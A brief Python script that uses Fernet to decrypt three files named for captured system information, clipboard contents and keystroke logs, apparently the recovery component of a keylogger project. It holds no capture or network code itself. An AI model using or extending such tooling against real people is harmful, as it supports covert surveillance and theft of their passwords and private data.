''' Fernet guarantees that a message encrypted using it cannot be manipulated or read without the key. Fernet is an implementation of symmetric (also known as “secret key”) authenticated cryptography. ''' from cryptography.fernet import Fernet ''' Get key from the GenerateKey.py file ''' key = "" system_information_e = 'e_systeminfo.txt' clipboard_information_e = 'e_clipboard.txt' keys_information_e = 'e_key_log.txt' encrypted_files = [system_information_e, clipboard_information_e, keys_information_e] count = 0 for decrypting_files in encrypted_files: with open(encrypted_files[count], 'rb') as f: data = f.read() fernet = Fernet(key) decrypted = fernet.decrypt(data) with open("decryption.txt", 'ab') as f: f.write(decrypted) count += 1